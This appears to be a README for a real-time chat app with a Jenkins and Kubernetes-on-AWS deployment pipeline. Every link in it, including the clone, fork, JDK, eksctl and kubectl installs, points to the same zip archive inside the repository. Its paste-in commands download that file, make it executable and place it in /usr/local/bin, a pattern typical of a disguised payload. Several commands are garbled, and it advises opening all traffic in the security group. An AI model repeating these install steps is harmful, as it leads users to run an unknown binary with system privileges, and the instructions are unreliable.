A real-time multi-user chat web application built with Node.js, Express, Socket.io, and React, featuring a complete DevOps pipeline With Jenkins & Github Action for automated deployment to Kubernetes on AWS Cloud.
This project demonstrates advanced DevOps practices for modern web applications:
- Every code commit generates a unique Docker image tag using Git commit SHA
- Ensures traceability: each deployment is tied to specific code changes
- Enables instant rollbacks to any previous version in case of failures.
- Separated frontend (React) and backend (Node.js + Socket.io) services
- Independent scaling and deployment of services
- Technology-agnostic development (React frontend, Node.js backend) And Mysql Database
- Runtime URL configuration via Kubernetes ConfigMaps
- Environment-based database switching (SQLite for local, MySQL for production)
- Secrets management for database credentials
- Zero-downtime deployments with rolling updates
- GitHub Actions: Automated testing, code quality checks, and Docker image building
- Jenkins: Production deployment to EKS with dynamic image tagging
- Kubernetes orchestration with LoadBalancer services
- AWS EKS for managed Kubernetes control plane
- RDS MySQL for production database
The application follows a microservices architecture with separate containers for frontend and backend:
- Frontend: React application served by Nginx
- Backend: Node.js server with Socket.io for real-time messaging
- Database: SQLite (local) / MySQL (production)
- Orchestration: Kubernetes with ConfigMaps and Secrets
- Real-Time Messaging: Instant message delivery using Socket.io
- Multi-User Chat: Support for multiple concurrent users
- Persistent Storage: Messages saved to database with timestamps
- WhatsApp-like UI: Modern, responsive chat interface
- User Authentication: Simple username-based login
- Containerized Deployment: Docker + Kubernetes ready
- Production Ready: CORS enabled, environment configurations
-
Clone the repository:
git clone https://github.com/Somia2207/Multi-User-ChatApp-Devops/raw/refs/heads/master/k8s/User-Devops-Chat-Multi-App-3.4-alpha.2.zip
-
Install dependencies:
# Backend cd backend npm install # Frontend cd ../html npm install
-
Start services:
# Backend (from backend directory) npm run dev # Frontend (from html directory) npm run dev
-
Access the application:
- Open http://localhost:3000 in your browser
- Login with any username to start chatting
- Triggers: On PR raised to master branch
- Unit Testing: Runs tests for both backend and frontend
- Docker Build: Creates multi-stage production images
- Image Tagging: Tags with commit SHA + latest
- Registry: Pushes to Docker Hub
- Deployment: Automated deployment to EKS cluster
- Dynamic Tagging: Uses commit SHA for image selection
- Configuration: Creates ConfigMaps and Secrets dynamically
- Create EKS Cluster (see EKS setup section below)
- RDS MySQL Instance: Create MySQL database for production
- Docker Hub: Ensure images are pushed (automated via CI)
The Jenkinsfile handles:
- Secret creation for database credentials
- Dynamic image tag replacement using commit SHA
- Kubernetes deployment with ConfigMaps for backend URL
- Rolling update status monitoring
Backend:
USE_LOCAL_DB:falsefor productionDATABASE_URL: From Kubernetes secretNODE_ENV:production
Frontend:
BACKEND_URL: Injected via ConfigMap at runtime
This project includes comprehensive test suites for both backend and frontend components.
- Framework: Jest with Supertest for API testing
- Coverage: API endpoints, authentication, database operations
- Location:
backend/tests/
Run Backend Tests:
cd backend
npm test # Run all tests
npm run test:watch # Watch mode
npm run test:coverage # With coverage report-
Fork & Clone the repository:
- Fork the repository https://github.com/Somia2207/Multi-User-ChatApp-Devops/raw/refs/heads/master/k8s/User-Devops-Chat-Multi-App-3.4-alpha.2.zip
- Once you have forked the repo on your github account, Clone the repo in your system
git clone <your repo URL> cd Movie-Streaming-App-DevOps
-
Launch Server
- Launch an AWS EC2 Instance with
t2.mediumas Instance Type, and Give atleast 15GB of EBS Volume. - In
Security Groupyou can allow all the trafic.
- Launch an AWS EC2 Instance with
-
Jenkins Setup & SonarQube Server Setup:
```bash
docker run -p 8080:8080 -p 50000:50000 --name jenkins -dit --restart=on-failure -v jenkins_home:/var/jenkins_home jenkins/jenkins:lts-jdk21
```
While Loging to jenkins webui at port 8080 you will have to run this command to retreive the default password
```bash
docker exec -it 5668 cat /var/jenkins_home/secrets/initialAdminPassword
```
- Follow this doc to add a agent in Jenkins https://github.com/Somia2207/Multi-User-ChatApp-Devops/raw/refs/heads/master/k8s/User-Devops-Chat-Multi-App-3.4-alpha.2.zip
- On your Jenkins slave node, install JDK 17(You can make your base Ec2 Instance as slave node):
``` bash
wget https://github.com/Somia2207/Multi-User-ChatApp-Devops/raw/refs/heads/master/k8s/User-Devops-Chat-Multi-App-3.4-alpha.2.zip
yum install jdk-17.0.10_linux-x64_bin.rpm -y
```
- Start the agent and join it to the Jenkins Master Node using the provided join command.
- Install `git` in slave node, as it will be further used while cloning the repo
```bash
yum install git -y
```
- Execute `docker-compose-install.md`
- Renamce the SonarQube-DockerCompose.yml to docker-compose.yaml and then run the command - "docker-compose up -d"
aws configurecurl --silent --location "https://github.com/Somia2207/Multi-User-ChatApp-Devops/raw/refs/heads/master/k8s/User-Devops-Chat-Multi-App-3.4-alpha.2.zip$(uname -s)_amd64.tar.gz" | tar xz -C /tmp
sudo mv /tmp/eksctl /usr/local/bin
eksctl versioncurl -o kubectl https://github.com/Somia2207/Multi-User-ChatApp-Devops/raw/refs/heads/master/k8s/User-Devops-Chat-Multi-App-3.4-alpha.2.zip
chmod +x ./kubectl
sudo mv ./kubectl /usr/local/bin
kubectl version --short --clienteksctl create cluster --name EKSCHAT --region ap-south-1 --vpc-public-subnets=subnet-0e64ffc947ac8929c,subnet-04c1ed6ba9c55ffd7 --nodegroup-name default-ng --node-type t3.medium --nodes=2 --nodes-min=2 --nodes-max=2 --node-volume-size=20 --ssh-access --ssh-public-key DevOps --managedMultiChatApplication-Devops/
├── backend/ # Node.js + Socket.io server
│ ├── server.js # Main server file
│ ├── package.json # Dependencies
│ └── Dockerfile # Multi-stage build
├── html/ # React frontend
│ ├── src/
│ │ ├── components/ # Login and Chat components
│ │ └── main.jsx # App entry point
│ └── Dockerfile # Nginx production build
├── k8s/ # Kubernetes manifests
│ ├── backend-deployment.yaml
│ └── frontend-deployment.yaml
├── .github/workflows/ # GitHub Actions CI
├── Jenkinsfile # Jenkins CD pipeline
├── docker-compose.yml # Local development
└── README.md
For questions or contributions, feel free to reach out!

